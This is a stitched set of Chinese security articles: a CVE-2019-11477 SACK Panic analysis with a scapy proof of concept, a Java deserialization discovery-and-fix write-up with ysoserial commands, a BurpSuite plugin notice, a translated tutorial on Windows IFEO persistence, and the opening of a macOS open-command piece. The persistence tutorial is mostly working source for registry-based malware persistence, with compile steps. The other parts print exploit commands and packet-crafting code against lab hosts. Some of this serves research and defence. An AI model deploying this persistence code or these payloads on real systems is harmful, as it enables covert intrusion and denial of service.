**作者：罗权、于长奇@奇安信代码卫士**
**公众号：<https://mp.weixin.qq.com/s/HVt5DiAMePmKvIMTFH-UTA> **
### 漏洞概述
2019年6月18日，RedHat官网发布CVE编号为CVE-2019-11477的漏洞，此漏洞是一个底层协议栈的整数溢出漏洞，影响Linux
内核2.6.29及以上版本，理论上可以造成远程拒绝服务漏洞。
**经过奇安信代码卫士团队分析验证，在实际环境中很难触发此漏洞，所以在实际环境中此漏洞危害没那么大。**
### 漏洞原理
该漏洞是一个位于skb_buff结构体上tcp_gso_segs成员的整数溢出漏洞。linux
kernel数据包文以skb_buff结构体表示，内核为提升发包效率提供了NETIF_F_SG（默认开启）、NETIF_F_UFO等功能，当发送报文时，将会将小报文以类似分片形式累积，累积为大报文统一发送，由网卡硬件进行分片。此时报文累积最大长度为32k（x86）或者64k(powerpc)。代码中，小报文积累队列成员为skb_buff结构体的tcp_skb_cb对象，其中tcp_gso_segs成员是个short
unsight int 类型成员，代表小报文个数。
`\linux\net\ipv4\tcp.c`
if (can_coalesce) {
skb_frag_size_add(&skb_shinfo(skb)->frags[i - 1], copy);
} else {
get_page(page);
skb_fill_page_desc(skb, i, page, offset, copy);
}
`linux/include/linux/skbuff.h`
struct
tcp_skb_cb
{__u32
seq; / *Starting
sequence
number * /__u32
end_seq; / *SEQ + FIN + SYN + datalen * /__u32
tcp_tw_isn;struct
{u16
tcp_gso_segs;u16
tcp_gso_size; };__u8
tcp_flags; / 2 * TCP
header
flags.(tcp[13]) * /…}
通常，TCP协议为避免分片带来的性能损失，提供了mss协商机制，通过在握手过程中提供双方mtu值，协商双方报文的最大报文长度，发送提供各自的mss长度，双方选取最小的mss值为最大报文长度，此后，双方报文的最大长度将不会超过协商得出的mss值。如果要漏洞出发，发送方在握手时将mss值强制置为8（mss协商最小值为48-最大tcp报头长度=8）。即接收方在和握手方握手时，将mss值设置为8即可。
TCP-MSS，全称TCP maximum segment
size。翻译过来是TCP最大报文尺寸。它的值代表TCP传输层期望对端发送给自己单个TCP报文的最大尺寸。
TCP协议中，当TCP协议两端在初始协商进行TCP三次握手协议的时候，主机两端会把自己当前所在链路的MSS值告知对方。当一端主机收到另外一端的MSS值候，它会评估其MSS值并与自己的MSS值做对比，取最小的值来决定TCP发送的最大报文尺寸。
如何计算本地MSS值？本地MSS=MTU-20字节的标准IP头-20字节的标准TCP头（换个角度看其实就是TCP负载）
另外一个相关的是linux的sack机制。在RFC的描述中，当TCP报文乱序到达时，TCP接收端会要求发送端连未能按照顺序发送的报文也重新发送，为改进TCP协议的发包效率，TCP提供了sack机制（自linux
kernel
2.6.29以后提供了sack机制的实现），当接收方向发送方要求重传时，重传报文将会进入tcp_sendmsg函数的tcp_gso_segs机制中，以分片的形式积累报文碎片，在skb_buff结构体中最多接受17个分片队列，在恶意会话的接收过程中，接收方可以不断地要求发送方重传，即接受方不断向发送方发送sack报文，发送方接收到sack报文后，将重新发送报文。
`linux/include/linux/skbuff.h`
`define MAX_SKB_FRAGS (65536/PAGE_SIZE + 1) => 17`
此时一个skb_buff结构体最多可以由`17*32*1024/8=69632`个报文碎片积累而成，而69632超过了tcp_gso_segs成员（无符号短整型）的最大值65535，将导致整数溢出，最终在tcp_shifted_skb函数中触发崩溃.
`linux\net\ipv4\tcp_input.c`
static bool tcp_shifted_skb (struct sock *sk, …, unsigned int pcount, ...)
{
...
tcp_skb_pcount_add(prev, pcount);
BUG_ON(tcp_skb_pcount(skb) < pcount); <= SACK panic
tcp_skb_pcount_add(skb, -pcount);
…
}
漏洞触发步骤：
1. 客户端连接服务端（同时三次握手过程中强制设置接受mss最大值为8）
2. 客户端诱导服务端发送超长报文给客户端，贴近最大允许长度32k
3. 客户端不断发送重传要求，服务端重复发送17次报文填满skb分片队列，导致tcp_gso_segs变量整数溢出，导致服务器远程拒绝服务。
### 漏洞验证
要成功构造poc报文，实际需要做到以下三点：
第一：诱骗服务端发送一次性发送接近32k大小TCP报文。通过服务器下载文件时（linux内核调用tcp_sendpage不走tcp_sendmsg调用可以逼近报文极限值，需要超过31k大小，实际情况是比较罕见的），发现http服务器将客户端get的数据合并，逼近32k大小数据下发到客户端，这一步是可以做到的，在TCP层，tcp_sendpage函数大概率可以做到一次下发超过31k大小的报文。
while (size > 0) {
struct sk_buff *skb = tcp_write_queue_tail(sk);
int copy, i;
bool can_coalesce;
if (!tcp_send_head(sk) || (copy = size_goal - skb->len) <= 0 ||
!tcp_skb_can_collapse_to(skb)) {
new_segment:
if (!sk_stream_memory_free(sk))
goto wait_for_sndbuf;
skb = sk_stream_alloc_skb(sk, 0, sk->sk_allocation,
skb_queue_empty(&sk->sk_write_queue));
if (!skb)
goto wait_for_memory;
skb_entail(sk, skb);
copy = size_goal;
}
if (copy > size)
copy = size;
i = skb_shinfo(skb)->nr_frags;
can_coalesce = skb_can_coalesce(skb, i, page, offset);
if (!can_coalesce && i >= sysctl_max_skb_frags) {
tcp_mark_push(tp, skb);
goto new_segment;
}
if (!sk_wmem_schedule(sk, copy))
goto wait_for_memory;
if (can_coalesce) {
skb_frag_size_add(&skb_shinfo(skb)->frags[i - 1], copy);
} else {
get_page(page);
skb_fill_page_desc(skb, i, page, offset, copy);
}
第二，将TCP报文的实际荷载设置8字节（mss设置为最小值48，TCP选项头设置为40字节，48-40=8）。此步实际情况是不默认，正常情况下是无法协商成功，客户端发起的mss协商，默认情况下服务端将不会认可，默认发行版linux系统都开启TSO（TCP
Segment
Offload）技术，为了尽可能发挥网卡性能，网卡会不断尝试扩大mss的值，当我们将mss协商成功为48时，很快TSO会将mss恢复为1460.所以实际攻击链条在此时已经被打断。
而且在我们测试将服务端发给我们的TCP数据包的TCP选项头设为40，通过要求服务端数据包附带时间戳选项，可以使TCP选项头拥有12字节选项长度，如果需要更长的选项头，需要一些特殊的TCP选项，如md5选项，但TCP的md5选项需要重新编译内核，发行版不带md5选项
在默认情况下我们只做到了通过客户端设置服务端报文12字节长度的TCP选项头长度设置
第三，对服务端发送sack报文，指定特定报文重传。我们在对服务端进行指定字节序列的报文重传时发现，我们无法做到累加重传报文，在漏洞分析中，我们提到，我们需要使重传报文累计到超过65535导致整数溢出，但是实际测试过程中发现，TCP的重传实在过于迅速，我们的发包速度根本不够服务端的gso机制生效累计积累超过65535个报文，我的最大累计此时30余次，服务端收到sack后累积重传报文，收到ack后或其余机制释放累积。请注意下图的报文序号，第27个报文请求指定重传，第28个报文重传指定报文，29个报文立刻发送正确顺序的报文，第27个报文和第29个报文直接的时间实在过于短暂，可以通过并发分布式攻击可以做到重传报文累计超过65535次。
其他尝试：
由于此漏洞的主要瑕疵在于mss协商机制启用非默认，我们曾经尝试绕过linux
kernel的mss协商机制对服务端发起进攻，尝试使用sack报文告诉服务端我们只缺少8字节长度（报文原长48字节情况下），此时服务端回复的报文并没有只给我们8个字节长度的报文，而是把所缺少的报文所属的报文（48字节长度）发回给我们，绕过尝试失败。
**最终我们认定此漏洞实际危害不大。**
测试代码：
我们使用的是python的scapy库进行伪造客户端与服务端进行通信
Sack部分测试代码：
from scapy.all import *
import time
i=IP()
i.dst="192.168.124.144"
t=TCP()
t.dport=8887
t.flags="S"
t.options=[('MSS', 18), ('SAckOK', '')]
# sr1(i/t)
SYNACK=sr1(i / t)
seq_num=int(SYNACK.seq)
# ACK
ACK=TCP( dport=8887, flags='A', seq=SYNACK.ack, ack=SYNACK.seq + 1)
send(i / ACK)
print seq_num
# SACK=TCP(dport=8887,flags='A',seq=SYNACK.ack, ack=SYNACK.seq + 1)
time.sleep(1)
SACK=TCP(dport=8887, flags='A', seq=SYNACK.ack, ack=SYNACK.seq + 1+0x30 * 2)
# print SACK.seq
num=3
SACK.options=[('SAck', (SYNACK.seq+1+0x30 * 3, SYNACK.seq+1+0x30 * 4 ))]
send(i / SACK)
# while num<=100:
# SACK.options=[('SAck',(seq+1+0x30+0x30*num ,seq+1+0x30 +0x30*(num+1)))]
# send(i/SACK)
# num=num+1
# if num==99:
# num=3
time.sleep( 500 )
Mss部分测试代码：
from scapy.all import *
import time
i = IP()
i.dst = "192.168.216.145"
t = TCP()
t.sport = 3333
t.dport = 8887
t.flags = "S"
t.options = [('MSS', 48), ('SAckOK', ''), ('Timestamp', (111, 222))]
# sr1(i/t)
SYNACK = sr1(i / t)
seq = int(SYNACK.seq)
# ACK
ACK = TCP(sport=3333, dport=8887, flags='A', seq=SYNACK.ack, ack=SYNACK.seq + 1)
ACK.options = [('Timestamp', (222, 333))]
send(i / ACK)
print
ACK.seq
# SACK=TCP(dport=8887,flags='A',seq=SYNACK.ack, ack=SYNACK.seq + 1)
print
str(SYNACK.ack)
SACK = TCP(dport=8887, flags='A', seq=SYNACK.ack, ack=SYNACK.seq + 1 + 0x30)
print
SACK.seq
SACK.options = [('SAck', (seq + 1 + 0x38, seq + 1 + 0x38 + 0x30))]
# while True:
time.sleep(1)
send(i / SACK)
time.sleep(500)
## 漏洞修复
（1）及时更新补丁
_<https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001/PATCH_net_1_4.patch>_
Linux内核版本>=4.14需要打第二个补丁
_<https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001/PATCH_net_1a.patch>_
（2）禁用SACK处理
echo 0 > /proc/sys/net/ipv4/tcp_sack
（3）使用过滤器来阻止攻击
_<https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001/block-low-mss/README.md>_
此缓解需要禁用TCP探测时有效（即在/etc/sysctl.conf文件中将net.ipv4.tcp_mtu_probingsysctl设置为0）
（4）RedHat用户可以使用以下脚本来检查系统是否存在漏洞
_<https://access.redhat.com/sites/default/files/cve-2019-11477--2019-06-17-1629.sh>_
* * *
关于奇安信代码卫士
“奇安信代码卫士”
是奇安信集团旗下专注于软件源代码安全的产品线，能力涵盖了源代码缺陷检测、源代码合规检测、源代码溯源检测三大方向，分别解决软件开发过程中的安全缺陷和漏洞问题、代码编写的合规性问题、开源代码安全管控问题。“代码卫士”系列产品可支持
Windows、Linux、Android、Apple iOS、IBM AIX 等平台上的源代码安全分析，支持的编程语言涵盖
C、C++、C#、Objective-C、Java、JSP、JavaScript、PHP、Python、Go、区块链智能合约 Solidity
等。目前代码卫士已应用于上百家大型机构，帮助用户构建自身的代码安全保障体系，消减软件代码安全隐患。
* * * | 社区文章 |
作者：bit4@[勾陈安全](http://www.polaris-lab.com/ "勾陈安全")
## 0x00 背景简介
本文是自己对一次反序列化漏洞的发现和修复过程，如有错误请斧正，大神请轻喷。
目标应用系统是典型的CS模式。
客户端是需要安装的windows桌面程序，但是它是大部分内容都是基于Java开发（安装目录有很多Jar包）。
服务端是基于Jboss开发。
客户端和服务端之间的通信流量是序列化了的数据流量。客户端接收和解析数据流量的模式和服务端一样，也是通过http服务，它在本地起了80、81端口，用于接收反序列化对象。
## 0x01 Java序列化流量特征
**特征一**
参考特征，反序列化数据看起来就是这个样子: sr 、类名、空白字符
**特征二**
固有特征，是Java的序列化数据就一定是这样，如果是base64编码的，就是以`rO0A`开头的。
**特征三**
参考特征，有些`content-type`就说明了它是是序列化数据。
## 0x02 检测工具
当确定是序列化数据后，我使用了2个会主动进行反序列化漏洞扫描的Burp Suite插件：
* [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) \- 能识别流量，也成功报了漏洞，而且使用了多种Payload。
* [Freddy](https://github.com/nccgroup/freddy) \- 只是识别了流量，并未报漏洞。
当时忘记截图了，这是后续在测试环境的截图：
Freddy的流量识别截图：
## 0x03 复现方法（攻击服务器端）
使用[ysoserial](https://github.com/frohoff/ysoserial)生成一个Payload，这里以Jdk7u21为例，由于是内部系统，我知道服务器上JDK的版本。
java -jar ysoserial-master.jar Jdk7u21 "ping jdk.xxx.ceye.io" > Jdk7u21
将生成的Payload通过Burp suite向服务端进行请求，命令执行成功。
## 0x04 攻击客户端
晚上回家想了想，返回包也是序列化格式的，是不是可以试试攻击客户端呢？第二天来一试，还真的可以。
对客户端做了一个简单的分析，发现客户端在本地起了80和81端口，也是通过http 服务来接收序列化对象的，反序列化过程和服务端如出一辙。
java -jar ysoserial-master.jar CommonsCollections3 "calc.exe" >CC3-desktop
这里自己想象了一种攻击场景：当攻击者控制了服务器之后，可以干掉这个服务，自己开启一个恶意的服务端，当反序列化请求过来时，都返回一个恶意的响应包，比如反弹shell之类的，凡是使用了该客户端的用户都可能被攻击。危害还是不容小视的。
## 0x05 防护思路
到了这里就开始考虑修复了，我给开发提供了2种修复思路。
**升级**
升级服务端所依赖的可能被利用的jar包，当然还包括JDK。不错所料，开发一听就否了。一来升级需要经过各种功能性测试，耗时较长，二来是JDK的升级可能造成稳定性问题（之前一个AMF的反序列化问题就是如此，升了2个月了还没搞定）。
**过滤**
另一个思路就是过滤了，需要继承`Java.io.ObjectInputStream`实现一个子类，在子类中重写`resolveClass`方法，以实现在其中通过判断类名来过滤危险类。然后在`JavaSerializer`类中使用这个子类来读取序列化数据，从而修复漏洞。
## 0x06 失败的修复
我将以上的第二种修复思路给到了开发，并提醒参考[SerialKiller](https://github.com/ikkisoft/SerialKiller)项目。过了一段时间，开发告诉我修复了，然而我的验证显示漏洞依然存在。
只好硬着头皮去开发电脑上看代码，后来发现开发将过滤方法用在了下图的方法之后，而且是在判断获取到的对象是不是`HashMap`实例之后（开发不愿意给我截图了...）。到这里我终于发现了点不对劲，在判断对象类型了，岂不是说明已经反序列化完成了？
通过对这个`getRequestData()`函数的追踪，确定反序列化过程是在一个底层的Jar包中完成的。
## 0x07 对底层Jar包的分析
然后我拿到这个Jar进行了分析，它是公司自己开发的框架。最后艰难地理出了其中的调用逻辑：该框架基于struts2开发，从下图的调动逻辑可以看出，所有的请求到达服务端后，都会首先经过`DataInterceptor`这个拦截器，这个拦截器执行的动作就是反序列化数据然后给到`Action`。上面的`getRequestData()`方法，已经是在这个流程之后了，属于`Action`中的逻辑。故而开发的修复方式无效。
DataInterceptor类的实现如下：
public class DataInterceptor
extends BaseInterceptor
{
private static final long serialVersionUID = 1L;
public String intercept(ActionInvocation invocation)
throws Exception
{
HttpServletRequest request = (HttpServletRequest)invocation
.getInvocationContext().get("com.opensymphony.xwork2.dispatcher.HttpServletRequest");
Object action = invocation.getAction();
if ((action instanceof IDataAction))
{
IDataAction richAction = (IDataAction)action;
Serializable model = Toolkit.getSerializer().deserialize(
request.getInputStream());//这里执行了反序列化操作
richAction.setRequestData(model);//将对象传递给了Action，getRequestData()方法才能获取到
}
else if ((action instanceof IDataBundleAction))
{
IDataBundleAction richAction = (IDataBundleAction)action;
Serializable model = Toolkit.getSerializer().deserialize(
request.getInputStream());
richAction.setRequestDataBundle((DataBundle)model);
}
return invocation.invoke();
}
}
JavaSerializer的实现如下：
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class JavaSerializer
extends AbstractSerializer
{
public Serializable deserialize(InputStream in)
throws IOException
{
ObjectInputStream oo = new ObjectInputStream(new BufferedInputStream(in));
try
{
return (Serializable)oo.readObject();
}
catch (ClassNotFoundException e)
{
throw new IOException("序列化类文件找不到：" + e.getMessage());
}
finally
{
oo.close();
}
}
到这里就清楚了，真正有漏洞的代码就在这里。
## 0x08 成功修复
要修复这个漏洞，就需要将上面的第二种过滤修复方法用到这个类里，具体的实现方法和SerialKiller一样。
>
> 需要继承`Java.io.ObjectInputStream`实现一个子类（SerialKiller），在子类中重写`resolveClass`方法，以实现在其中通过判断类名来过滤危险类。然后在`JavaSerializer`类中使用这个子类来读取序列化数据，从而修复漏洞。
通过如上方法修复了该漏洞，验证也是成功修复。修复后的JavaSerializer类：
import com.xxx.xxx.xxx.core.security.SerialKiller;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class JavaSerializer
extends AbstractSerializer
{
public Serializable deserialize(InputStream in)
throws IOException
{
ObjectInputStream ois = new SerialKiller(new BufferedInputStream(in));//SerialKiller是重写了resolveClass方法的子类。
try
{
return (Serializable)ois.readObject();
}
catch (ClassNotFoundException e)
{
throw new IOException("序列化类文件找不到：" + e.getMessage());
}
finally
{
ois.close();
}
}
## 0x09 意外之喜 - 另一处XMLDecoder反序列化漏洞
然而，对Java包的分析还发现了另外一处反序列化漏洞。问题出在对XML的反序列化过程中，和weblogic的XMLDecoder RCE如出一辙。
漏洞代码如下：
import java.beans.XMLDecoder;
import java.io.IOException;
import java.io.InputStream;
import java.io.Serializable;
public class XmlSerializer
extends AbstractSerializer
{
public Serializable deserialize(InputStream in)
throws IOException
{
XMLDecoder xd = new XMLDecoder(in);//和weblogic的XMLDecoder RCE如出一辙
try
{
return (Serializable)xd.readObject();
}
finally
{
xd.close();
}
}
它的修复方式也是参考了weblogic的，需要实现一个validate
函数，在执行XML解码(XMLDecoder)前，对InputStream对象进行检查过滤。
private void validate(InputStream is){
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
}
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
## 0x10 总结
零零散散学习反序列化漏洞已经很长时间了，这是第一次在公司自研框架中发现反序列化漏洞，所以总结记录一下，大神请轻喷！也算是对该漏洞知识的一个梳理。学习还是要实践过、做过了才算是学到了，否则永远不是自己的！
## 0x11 参考
过滤方法的一个开源库，但是这个库需要依赖JDK1.8: <https://github.com/ikkisoft/SerialKiller>
反序列化漏洞的入口和限制条件+反序列化过滤防御思路：<https://www.ibm.com/developerworks/library/se-lookahead/>
廖师傅的Weblogic XMLDecoder RCE分析:
<http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/> | 社区文章 |
# 【技术分享】BurpSuite插件：利用BurpSuite Spider收集子域名和相似域名
##### 译文声明
本文是翻译文章，文章来源：polaris-lab.com
原文地址：<http://www.polaris-lab.com/index.php/archives/349/>
译文仅供参考，具体内容表达以及含义原文为准。
**作者：[email protected]**
**
**
**前言**
在我的域名收集知识体系中，利用爬虫来获取域名是其中的一部分（见文末思维导图，其他部分的实现请访问我的另外一个项目：<https://github.com/bit4woo/Teemo>
），由于使用频率，使用习惯等问题，而我最终决定使用BurpSuite的Spider来实现爬虫部分的自动化收集。所以有了这个BurpSuite插件：Domain
Hunter。
**原理**
****
当使用了BurpSuite作为代理，或者使用它进行了安全测试，会就会记录相关的域名。其中，某个目标的子域名和相似域名很有价值，尤其是相似域名，往往有惊喜！插件的主要原理就是从BurpSuite的Sitemap中搜索出子域名和相似域名。也可以对已经发现的子域名进行主动爬取，以发现更多的相关域名，这个动作可以自己重复递归下去，直到没有新的域名发现为止。
**项目地址**
****
<https://github.com/bit4woo/domain_hunter>
**截图**
****
**Change Log**
****
2017-07-28: Add a function to crawl all known subdomains; fix some bug.
**Xmind Of Domain Collection**
**** | 社区文章 |
翻译至: <https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html>
这篇文章是我自己对一个有趣的恶意软件持久性技巧的研究的结果：通过图像文件执行选项。
### 图像文件执行选项[永久链接](https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html#image-file-execution-options "Permalink")
IFEO 使开发人员能够将调试器附加到应用程序或进程。这允许调试器/应用程序与正在调试的应用程序同时运行。
如何设置此功能？我们可以在另一个应用程序静默退出时启动一个进程/程序。
应用程序的_静默退出_意味着应用程序已通过以下两种方式之一终止：
1. 通过调用`ExitProcess`进行自我终止
2. 另一个进程通过调用终止`TerminateProcess`受监视的进程
这可以通过以下注册表项进行配置：
`HKLM\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit`
### 实际示例[永久链接](https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html#practical-example "Permalink")
让我们在Microsoft Paint（`mspaint.exe`）静默退出后运行我们的恶意软件。
所以，假设我们有我们的“恶意软件”（`hack.cpp`):
/*
hack.cpp
evil app for windows persistence via IFEO
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
return 0;
}
如你所见，像往常一样，我使用“meow-meow”消息框“恶意软件”=^.。^=
然后，创建用于修改注册表的持久性脚本 （`pers.cpp`):
/*
pers.cpp
windows persistence via IFEO (GlobalFlag)
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html
*/
#include <windows.h>
#include <string.h>
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
DWORD gF = 512;
DWORD rM = 1;
// image file
const char* img = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mspaint.exe";
// silent exit
const char* silent = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\mspaint.exe";
// evil app
const char* exe = "Z:\\2022-09-10-malware-pers-10\\hack.exe";
// GlobalFlag
// LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mspaint.exe", 0 , KEY_WRITE, &hkey);
LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
if (res == ERROR_SUCCESS) {
// create new registry key
// reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe" /v GlobalFlag /t REG_DWORD /d 512
RegSetValueEx(hkey, (LPCSTR)"GlobalFlag", 0, REG_DWORD, (const BYTE*)&gF, sizeof(gF));
RegCloseKey(hkey);
}
// res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\mspaint.exe", 0 , KEY_WRITE, &hkey);
res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)silent, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
if (res == ERROR_SUCCESS) {
// create new registry key
// reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
// reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "Z:\..\hack.exe"
RegSetValueEx(hkey, (LPCSTR)"ReportingMode", 0, REG_DWORD, (const BYTE*)&rM, sizeof(rM));
RegSetValueEx(hkey, (LPCSTR)"MonitorProcess", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
return 0;
}
那么我们在这里做了什么？首先，我们在`HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion`下创建了`SilentProcessExit`键，然后通过添加`GlobalFlag`启用了静默进程退出监控功能:
//...
LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
//...
//...
// reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe" /v GlobalFlag /t REG_DWORD /d 512
RegSetValueEx(hkey, (LPCSTR)"GlobalFlag", 0, REG_DWORD, (const BYTE*)&gF, sizeof(gF));
//...
通过将 `MonitorProcess` 设置为 `...\hack.exe`.exe将 `ReportingMode` 设置为
`1`，`mspaint.exe` 的每个静默退出现在都会触发我们的“恶意软件”黑客的执行`hack.exe`:
//...
RegSetValueEx(hkey, (LPCSTR)"ReportingMode", 0, REG_DWORD, (const BYTE*)&rM, sizeof(rM));
RegSetValueEx(hkey, (LPCSTR)"MonitorProcess", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
### 演示[永久链接](https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html#demo "Permalink")
编译恶意软件：
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
运行它，目的是为了检查正确性：
因此，检查注册表项：
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s
也`SilentProcessExit`:
req query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit" /s
正如预期的那样，我们的目标应用程序缺少一些注册表项。因此，当它开始和关闭时，没有任何反应：
现在让我们编译：
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
并运行我们的脚本以实现持久性 `pers.exe`，然后再次检查注册表项：
.\pers.exe
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit" /s
最后，再次运行 `mspaint.exe`：
并关闭它：
`ReportingMode` 注册表项启用 Windows 错误报告进程 （`WerFault.exe`），该进程将是 `MonitorProcess`
键值`hack.exe`父进程.exe:
> `WerFault.exe` \- 用于跟踪与操作系统、Windows 功能和应用程序相关的错误。
### IFEO 调试器类型[永久链接](https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html#ifeo-debugger-type "Permalink")
还有另一种通过调试器密钥实现的 IFEO。只需在此注册表项中为受害进程创建一个调试器：
`HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\mspaint.exe`
则只需要将恶意应用程序存储在`System32`中.
所以源代码很简单，看起来像这样：
/*
pers2.cpp
windows persistence via IFEO 2(Debugger)
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html
*/
#include <windows.h>
#include <string.h>
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
DWORD gF = 512;
DWORD rM = 1;
// image file
const char* img = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mspaint.exe";
// evil app
const char* exe = "hack.exe";
// Debugger
LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
if (res == ERROR_SUCCESS) {
// create new registry key
// reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe" /v Debugger /d "hack.exe"
RegSetValueEx(hkey, (LPCSTR)"Debugger", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
return 0;
}
让我们编译它：
x86_64-w64-mingw32-g++ -O2 pers2.cpp -o pers2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
实际应用中的用例：
当Microsoft Paint进程（`mspaint.exe`）启动时，这将导致恶意软件被执行。完善！
[APT29](https://attack.mitre.org/groups/G0016/) 组和软件（如
[SUNBURST](https://attack.mitre.org/software/S0559/)）在野使用这种权限维持技巧。
[ATT&CK MITRE： IFEO Injection](https://attack.mitre.org/techniques/T1183/)
[MSDN：监视静默进程退出](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit)
[在映像文件执行选项中使用全局标志的持久性 ](https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/)
[APT29](https://attack.mitre.org/groups/G0016/)
[旭日](https://attack.mitre.org/software/S0559/)
[GitHub 上的源代码](https://github.com/cocomelonc/2022-09-10-malware-pers-10) | 社区文章 |
**作者：漂亮鼠
原文链接：<https://mp.weixin.qq.com/s/GZ5eS_lHiBBb7jHNu6PUgg>**
## 0x00 前情提要
最近在研究mac上的一些命令注入问题，看着看着觉得蛮有意思就先记录一下。这里主要围绕比较常见的open命令展开。
顺便说一句我的mac是
所以如下的可能都是bug！
## 0x01 open的基础使用
先来看看open的help
比如
open -a /System/Applications/Calculator.app //打开计算器
open /System/Applications/Calculator.app //也是打开计算器
open -a /Applications/Safari.app https://www.baidu.com //打开safari并打开百度
其他的参数也就是一些细节的区别，自己可以试一下大概能知道，基本使用可以再看看这个[mac
open](https://scriptingosx.com/2017/02/the-macos-open-command/)
## 0x02 奇妙的细节
